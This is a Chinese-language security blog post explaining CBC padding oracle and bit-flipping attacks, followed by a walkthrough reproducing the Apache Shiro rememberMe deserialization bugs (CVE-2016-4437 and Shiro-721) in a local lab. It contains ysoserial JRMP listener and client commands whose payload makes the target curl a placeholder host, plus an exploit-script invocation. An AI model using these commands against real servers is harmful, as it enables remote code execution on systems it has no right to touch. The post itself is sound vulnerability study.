Shiro Padding Oracle Attack 反序列化

Shiro Padding Oracle Attack 反序列化

基础

参考 ctfwiki中对CBC模式的介绍 ,先看一下CBC模式下的加解密模式图:

Shiro Padding Oracle Attack 反序列化

Shiro Padding Oracle Attack 反序列化

简单概括一下,加密过程初始化向量IV和第一组明文进行异或,然后经过加密算法得到第一组密文,并拿它作为下一分组加密的IV向量,迭代下去。解密过程反之,先解密再和IV向量异或得到明文plaintext。这里的IV参数是一个随机值(长度和分组长度等长),为了保证多次加密相同数据生成的密文不同而设计的。

为了方便后文描述,将IV和Planttext异或后的值称为中间intermediary Value。

分组的填充padding

分组的长度,不同加密算法的长度如下图所示:

Shiro Padding Oracle Attack 反序列化

分组密码(block cipher)需要保证总长度是分组长度的整数倍,但一般在最后一组会出现长度不够分组长度的情况,这时候就需要使用padding填充,填充的规则是在最后填充一个固定的值,值的大小为填充的字节总数,即需最后还差2个字节,则填充两个0x02。下边8个字节的填充范围为 0x01-0x08

Shiro Padding Oracle Attack 反序列化

这种Padding原则遵循的是常见的PKCS#5标准。 http://www.di-mgt.com.au/cryptopad.html#PKCS5

Padding Oracle Attack

利用条件

  1. 攻击者知道密文和初始向量IV
  2. padding错误和padding正确服务器可返回不一样的状态

攻击效果

正常CBC解密需要知道IV、Key、密文,而通过Padding Oracle漏洞,只用知道IV、密文即可获得明文。

以这样一个程序为例:

http://sampleapp/home.jsp?UID=0000000000000000EFC2807233F9D7C097116BB33E813C5E

前16个字母(8字节) 0000000000000000 为IV,后32字母(16字节)为密文:

Shiro Padding Oracle Attack 反序列化

padding 0x01

通常程序校验padding是否正确是通过检查末尾的那个字节的值,我们可以通过修改IV的值使得其与中间量intermediary Value异或得到的结果(plaintext)最后一个字节(填充位)为0x01。

实现这样一个穷举的过程,需要改变IV的最后一个字节(最多255次),且需要服务端将判断padding校验的结果返回给客户端(类似于布尔注入的逻辑)。比如在web应用中,padding正确(解密的内容不正确)返回200,padding错误(解密内容错误)返回500。

Shiro Padding Oracle Attack 反序列化

至此通过上述步骤,我们可以通过 IV (fuzz出的IV)和 0x01 异或得到intermediary Value中间值。

单个分组 的情况下,其实我们拿着intermediary Value和 初始向量IV 异或,即可拿到最后明文的最后一个字节:

Shiro Padding Oracle Attack 反序列化

padding 0x02

此时,通过修改IV第八个字节的值使得最后一个padding位变成0x02(上图中0x67^0x02=0×64),再fuzz IV第七个字节,使得服务端解出plaintext其填充位为0x02,以此类推。

总的来说,其实攻击的本质都是为了得到中间临时变量intermediary value,通过其和初始IV计算出明文。

多分组密文情况

上面说到的Padding Oracle Attack是以单个分组进行的,如果密文有多个分组,其最大的区别在于这一分组加密的初始IV向量为上次组加密的结果Ciphertext。

在多分组密文中,由于密文和IV已知且可控,先拿第一组padding的方式爆破IV推算intermediary value,然后根据原始IV计算出明文,也可以通过修改原始IV控制密文结果;再拿第一二组,用padding的方式爆破intermediary value,此时的初始IV为第一组的密文,以此类推。

漏洞的关键点在于攻击者能够判断其padding的结果,在使用CBC模式的分组加密算法需要注意这一点,比如让服务端加上异常处理等等。

实验代码:Demo

CBC字节反转

在乌知识库里有一篇文章的例子说的比较清晰: CBC字节翻转攻击-101Approach ,

再来参考 ctfwiki中对CBC模式的介绍 :

Shiro Padding Oracle Attack 反序列化

简单来说,通过构造第n的密文块为 C(n) xor P(n+1) xor A ,使得第n+1密文块为A(个人觉得CTFWiki这里写错了),为什么呢?

C(n) xor P(n+1) 的结果实际上就是第n+1组的 intermediary value ,在解密时让 intermediary value 自己异或自己得全0,然后再异或A得A。如下图所示:

Shiro Padding Oracle Attack 反序列化

简而言之,通过损坏密文字节来改变明文字节,攻击条件为知道一组明文和密文。

CVE-2016-4437: Shiro 反序列化(Shiro <= 1.2.4)

Apache Shiro是一个开源安全框架,提供身份验证、授权、密码学和会话管理。在Apache Shiro <= 1.2.4版本中存在反序列化漏洞。

环境搭建

github上下一个 shiro 1.2.4 :

git clone https://github.com/apache/shiro.git
cd shiro
git checkout shiro-root-1.2.4

然后修改shiro/samples/web/pom.xml

<!--  需要设置编译的版本 -->  
    <properties>
       <maven.compiler.source>1.8</maven.compiler.source>
       <maven.compiler.target>1.8</maven.compiler.target>
   </properties>

   <dependencies>
       <dependency>
           <groupId>javax.servlet</groupId>
           <artifactId>jstl</artifactId>
           <!--  这里需要将jstl设置为1.2 -->
           <version>1.2</version> 
           <scope>runtime</scope>
       </dependency>

    &middot;   <!--加一个gadget-->
       <dependency>
           <groupId>org.apache.commons</groupId>
           <artifactId>commons-collections4</artifactId>
           <version>4.0</version>
       </dependency>
<dependencies>

编译: sudo mvn package

爆了这样的错:

Shiro Padding Oracle Attack 反序列化

先得去搞个jdk1.6来,mac下弃用了,参考这篇文章: https://blog.csdn.net/q258523454/article/details/84029886,去这里下[mac的jdk1.6][6]。

Shiro Padding Oracle Attack 反序列化

然后切换到root创一个文件:/var/root/.m2/toolchains.xml

<?xml version="1.0" encoding="UTF-8"?>
<toolchains xmlns="http://maven.apache.org/TOOLCHAINS/1.1.0" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
  xsi:schemaLocation="http://maven.apache.org/TOOLCHAINS/1.1.0 http://maven.apache.org/xsd/toolchains-1.1.0.xsd">
<!--插入下面代码-->
  <toolchain>
    <type>jdk</type>
    <provides>
      <version>1.6</version>
      <vendor>sun</vendor>
    </provides>
    <configuration>
        <!--这里是你安装jdk的文件目录-->
      <jdkHome>/Library/Java/JavaVirtualMachines/1.6.0.jdk/</jdkHome>
    </configuration>
  </toolchain>
</toolchains>

再编译就能成功了:

Shiro Padding Oracle Attack 反序列化

将这个war包放到tomcat的webapp目录下,然后访问 http://127.0.0.1:8080/shiro/ 会自动解压:

Shiro Padding Oracle Attack 反序列化

也可以把它导到idea里打包,接着配置idea,这里踩了坑EDU版本是没有tomcat server的,一定要用旗舰版:

Shiro Padding Oracle Attack 反序列化

Shiro Padding Oracle Attack 反序列化

Shiro Padding Oracle Attack 反序列化

漏洞复现

EXP打ysoserial的二链:shiro1.2.4RCE

Shiro Padding Oracle Attack 反序列化

代码分析

先下个断点:org.apache.shiro.mgt.AbstractRememberMeManager#onSuccessfulLogin,去login.jsp登录root secret,选中Remember Me。

Shiro Padding Oracle Attack 反序列化

forgetIdentity 函数中处理了request和response请求,在response中处理remember me的cookie。

Shiro Padding Oracle Attack 反序列化

再跟进 rememberIdentity 函数:

Shiro Padding Oracle Attack 反序列化

调用 convertPrincipalsToBytes 将账户信息传入,先是进行序列化,再来一个加密:

Shiro Padding Oracle Attack 反序列化

跟进 encrypt 函数:

Shiro Padding Oracle Attack 反序列化

getCipherService 先获取了一下加密服务的配置信息,包括加密模式,填充方式,加密类型等等:

Shiro Padding Oracle Attack 反序列化

cipherService.encrypt

Shiro Padding Oracle Attack 反序列化

其中秘钥在AbstractRememberMeManager.java中设置的一个定值:

Shiro Padding Oracle Attack 反序列化

通过构造方法设置的:

Shiro Padding Oracle Attack 反序列化

Shiro Padding Oracle Attack 反序列化

在加密过程中需要关注的一个点,将iv向量放置在密文头部:org/apache/shiro/crypto/JcaCipherService.java

Shiro Padding Oracle Attack 反序列化

加密完成后,返回结果传入 rememberSerializedIdentity 函数,处理http请求,返回cookie到response中:

Shiro Padding Oracle Attack 反序列化

到这里cookie加密处理就结束了,再来跟一下是如何解密cookie的。

org/apache/shiro/mgt/AbstractRememberMeManager.java#getRememberedPrincipals

Shiro Padding Oracle Attack 反序列化

先从 getRememberedSerializedIdentity 函数获取cookie,base64解码:

Shiro Padding Oracle Attack 反序列化

然后进入 convertBytesToPrincipals 函数,先是解密,接着反序列化

Shiro Padding Oracle Attack 反序列化

Shiro Padding Oracle Attack 反序列化

Shiro Padding Oracle Attack 反序列化

坑点:反序列化限制

网上大部分文章都是拿common-collections2这调链来复现,畅通无阻。

我们来试试其他链,把gadget换成ysoserial5打shiro自带的 commons-collections-3.2.1 ,会抛出这样一个错误:

Shiro Padding Oracle Attack 反序列化

再把其组件拉出来单独试试:

Shiro Padding Oracle Attack 反序列化

调试分析一下:org/apache/shiro/io/DefaultSerializer.java

Shiro Padding Oracle Attack 反序列化

跟进 ClassResolvingObjectInputStream 类:org/apache/shiro/io/ClassResolvingObjectInputStream.java

Shiro Padding Oracle Attack 反序列化

他继承了 ObjectInputStream 类,重写了 resolveClass 方法,再来看一下原版 resolveClass 方法:

Shiro Padding Oracle Attack 反序列化

Class.forNameClassUtils.forName 的差别,来看看 ClassUtils 具体实现:org/apache/shiro/util/ClassUtils.java#forName

Shiro Padding Oracle Attack 反序列化

shiro不是像原版那样通过 java.lang.Class 反射获取class,而是通过 ParallelWebappClassLoader 去加载class

Shiro Padding Oracle Attack 反序列化

查了一些下资料,看到 orange师傅文章 评论中说不支持装载数组类型,这里没细跟原因了。

Shiro Padding Oracle Attack 反序列化

JRMP绕过

Orang师傅在文章 中一顿操作,发现JRMP可以避开上述限制,测试一下:

server:

java -cp ysoserial.jar ysoserial.exploit.JRMPListener 12345 CommonsCollections5 'curl http://x.x.x.x:8989'

client:

java -jar ysoserial.jar JRMPClient 'x.x.x.x:12345'

Shiro Padding Oracle Attack 反序列化

稍微调了一下EXP,大概能行的原因就是走的远程的class加载的,而不是像之前那样直接打本地:

Shiro Padding Oracle Attack 反序列化

Shiro Padding Oracle Attack 反序列化

不过有一点比较困惑,用URLDNS打了没结果,但是直接用5链JRMP打却可以…

Shiro Padding Oracle攻击(Shiro <= 1.4.1)

漏洞复现

EXP用 3ndz/Shiro-721 ,shiro的版本1.4.1配置过程参考上文。

yso生成个jrmpclient:

java -jar ysoserial.jar JRMPClient 'x.x.x.x:12345' > JRMPClient

服务端起一个jrmplistener

java -cp ysoserial.jar ysoserial.exploit.JRMPListener 12345 CommonsCollections2 'curl http://x.x.x.x:8989'
python2 shiro_padding_oracle.py http://127.0.0.1:8088/samples_web_war_exploded/index.jsp [rememberMe的cookie] JRMPClien

Shiro Padding Oracle Attack 反序列化

漏洞分析

先来看看这个版本对秘钥的处理:org/apache/shiro/mgt/AbstractRememberMeManager.java

Shiro Padding Oracle Attack 反序列化

一直跟进,可以看到将之前的硬编码秘钥换成了动态生成:

Shiro Padding Oracle Attack 反序列化

padding错误

在我们给rememberMe输入错误的padding后,经过上文提到的解密过程后,会抛出异常:/org/apache/shiro/crypto/JcaCipherService.class

Shiro Padding Oracle Attack 反序列化

然后在org/apache/shiro/mgt/AbstractRememberMeManager.java#getRememberedPrincipals捕获

Shiro Padding Oracle Attack 反序列化

最后在org/apache/shiro/web/servlet/SimpleCookie.java中给返回包设置一个rememberMe的cookie,覆盖掉之前的值:

Shiro Padding Oracle Attack 反序列化

调用栈:

Shiro Padding Oracle Attack 反序列化

padding正确,反序列化错误

在之前的padding oracle漏洞中,依靠控制前一块密文来伪造后一块的明文,根据Padding的机制,可构造出一个bool条件,从而逐位得到明文,然后逐块得到所有明文。

也就是说通过padding获取来伪造明文的,会改变前一块的密文,也就是会影响到解密的结果。我们来看shiro中对于解密结果的处理,在DefaultSerializer.class中进行反序列化时,会失败而抛出异常:

Shiro Padding Oracle Attack 反序列化

而对于客户端而言,结果是一样的,都走到了AbstractRememberMeManager.java的异常处理:

Shiro Padding Oracle Attack 反序列化

接着就是给客户端重置rememberMe的cookie。

拼接序列化数据

在 gyyy:浅析Java序列化和反序列化 这篇文章中介绍了java序列化和反序列化的机制,关键点在于ObjectOutputStream是一个Stream,他会按格式以队列方式读下去,后面拼接无关内容,不会影响反序列化。

所以现在BOOL条件就出来了,拼接无关数据,padding 正确,能正常反序列化,padding错误抛出异常。

最后payload的构造就是不断的用两个block去padding得到intermediary之后,构造密文使得解密后得到指定明文,最后拼接到原有的cookie上。

exp: https://github.com/3ndz/Shiro-721

原文 

https://www.anquanke.com/post/id/200793

本站部分文章源于互联网,本着传播知识、有益学习和研究的目的进行的转载,为网友免费提供。如有著作权人或出版方提出异议,本站将立即删除。如果您对文章转载有任何疑问请告之我们,以便我们及时纠正。

PS:推荐一个微信公众号: askHarries 或者qq群:474807195,里面会分享一些资深架构师录制的视频录像:有Spring,MyBatis,Netty源码分析,高并发、高性能、分布式、微服务架构的原理,JVM性能优化这些成为架构师必备的知识体系。还能领取免费的学习资源,目前受益良多

转载请注明原文出处:Harries Blog™ » Shiro Padding Oracle Attack 反序列化

赞 (0)
分享到:更多 ()

评论 0

  • 昵称 (必填)
  • 邮箱 (必填)
  • 网址